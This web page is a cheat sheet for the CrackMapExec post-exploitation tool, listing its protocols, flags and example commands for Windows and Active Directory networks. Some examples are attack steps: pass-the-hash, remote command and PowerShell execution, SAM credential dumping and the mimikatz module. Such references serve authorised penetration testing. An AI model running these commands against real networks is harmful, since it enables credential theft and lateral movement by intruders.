GARY IS COMING FOR YOU

You shouldn't have done that.

⚙ MALEVELON CREEK
CLICK TO SCAN
SPACE-BAR SERVICE DESK

Bartender

Here to help you explore

Questions and relevant page context are sent to TypeSafe. Questions Bartender cannot answer are saved to improve the site, without your account or IP. Other conversation stays in this tab.

crackmapexec Tool Reference


CrackMapExec (CME) is a post-exploitation tool for assessing the security of Active Directory environments. Enumerates, exploits, and pivots through Windows networks using various protocols.


Basic Usage

  • crackmapexec smb 192.168.1.0/24 - Enumerate SMB
  • crackmapexec smb 192.168.1.0/24 -u user -p pass - Authenticate
  • crackmapexec smb 192.168.1.0/24 -u user -H hash - Pass-the-hash
  • crackmapexec smb 192.168.1.0/24 -u user -p pass -M module - Execute module

Protocols

  • smb - SMB/CIFS protocol
  • ssh - SSH protocol
  • winrm - WinRM protocol
  • ldap - LDAP protocol
  • mssql - Microsoft SQL Server
  • rdp - Remote Desktop Protocol
  • vnc - VNC protocol

Authentication

  • -u user - Username
  • -p password - Password
  • -H hash - NTLM hash
  • -k - Kerberos authentication
  • -d domain - Domain name
  • -U user:pass - User:pass format
  • --local-auth - Local authentication

Enumeration

  • --shares - List shares
  • --sessions - List sessions
  • --loggedon-users - Logged on users
  • --disks - List disks
  • --users - Enumerate users
  • --groups - Enumerate groups
  • --computers - Enumerate computers
  • --pass-pol - Password policy

Execution

  • -x command - Execute command
  • -X command - Execute PowerShell
  • -M module - Execute module
  • --exec-method wmiexec - Execution method
  • --no-output - Suppress output

Common Examples

Enumerate SMB

crackmapexec smb 192.168.1.0/24

Scan network for SMB hosts.

Authenticate

crackmapexec smb 192.168.1.0/24 -u admin -p Password123

Test credentials across network.

Pass-the-Hash

crackmapexec smb 192.168.1.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee

Authenticate with NTLM hash.

List Shares

crackmapexec smb 192.168.1.0/24 -u user -p pass --shares

Enumerate SMB shares.

Execute Command

crackmapexec smb 192.168.1.10 -u admin -p pass -x "whoami"

Run command on target.

PowerShell

crackmapexec smb 192.168.1.10 -u admin -p pass -X "Get-Process"

Execute PowerShell command.

Dump SAM

crackmapexec smb 192.168.1.10 -u admin -p pass --sam

Dump SAM database.

List Modules

crackmapexec smb --list-modules

Show available modules.

Use Module

crackmapexec smb 192.168.1.10 -u admin -p pass -M mimikatz

Execute module.


Tips

  • Use -H for pass-the-hash attacks
  • Use --shares to discover file shares
  • Use -x for command execution
  • Use -X for PowerShell execution
  • Check --list-modules for available modules
  • Use -k for Kerberos authentication
  • Essential for AD security testing
  • Powerful lateral movement tool